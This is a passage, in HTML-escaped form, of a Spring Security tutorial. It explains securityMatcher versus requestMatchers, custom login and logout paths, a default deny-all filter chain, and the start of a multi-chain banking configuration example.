    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;formLoginFilterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authenticated&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;formLogin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;securitymatcher-vs-requestmatchers-know-the-difference&quot;&gt;securityMatcher vs requestMatchers: Know the Difference&lt;/h2&gt;

&lt;p&gt;This trips people up all the time:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http.securityMatcher()&lt;/code&gt;: Determines which requests this entire &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityFilterChain&lt;/code&gt; applies to&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requestMatchers()&lt;/code&gt;: Determines which requests individual authorization rules apply to within the chain&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;securedFilterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;securityMatcher&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/secured/**&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// Chain applies to /secured/** only&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;requestMatchers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/secured/user&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;hasRole&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;USER&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;// Specific rule&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;requestMatchers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/secured/admin&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;hasRole&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ADMIN&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// Specific rule&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authenticated&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;httpBasic&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;formLogin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Critical point:&lt;/strong&gt; If you specify a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;securityMatcher&lt;/code&gt;, only matching requests are protected. Non-matching requests won’t be protected by Spring Security at all! That’s why it’s recommended to have a default chain without a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;securityMatcher&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;securityfilterchain-endpoints-a-gotcha&quot;&gt;SecurityFilterChain Endpoints: A Gotcha&lt;/h2&gt;

&lt;p&gt;Endpoints provided by the filter chain (like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/login&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/logout&lt;/code&gt;) aren’t automatically affected by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;securityMatcher&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
&lt;span class=&quot;nd&quot;&gt;@Order&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;securedFilterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;securityMatcher&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/secured/**&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authenticated&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;formLogin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;formLogin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;formLogin&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;loginPage&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/secured/login&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;           &lt;span class=&quot;c1&quot;&gt;// Custom path&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;loginProcessingUrl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/secured/login&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// Custom path&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;permitAll&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;logout&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logoutUrl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/secured/logout&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logoutSuccessUrl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/secured/login?logout&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;permitAll&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;defaultFilterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;denyAll&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// Deny everything else&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;real-world-example-a-banking-system&quot;&gt;Real-World Example: A Banking System&lt;/h2&gt;

&lt;p&gt;Let’s look at a more complex, realistic example:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Configuration&lt;/span&gt;
&lt;span class=&quot;nd&quot;&gt;@EnableWebSecurity&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;BankingSecurityConfig&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserDetailsService&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;userDetailsService&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;UserBuilder&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaultPasswordEncoder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;InMemoryUserDetailsManager&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;InMemoryUserDetailsManager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;createUser&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;roles&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;USER&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;VIEW_BALANCE&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;createUser&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user2&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;roles&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;USER&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;createUser&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;admin&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;roles&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ADMIN&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;@Order&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// Highest priority&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;approvalsSecurityFilterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;approvalsPaths&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; 
            &lt;span class=&quot;s&quot;&gt;&quot;/accounts/approvals/**&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; 
            &lt;span class=&quot;s&quot;&gt;&quot;/loans/approvals/**&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; 
            &lt;span class=&quot;s&quot;&gt;&quot;/credit-cards/approvals/**&quot;&lt;/span&gt; 
        &lt;span class=&quot;o&quot;&gt;};&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;securityMatcher&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;approvalsPaths&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;hasRole&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ADMIN&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;httpBasic&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;@Order&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// Second priority&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;bankingSecurityFilterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
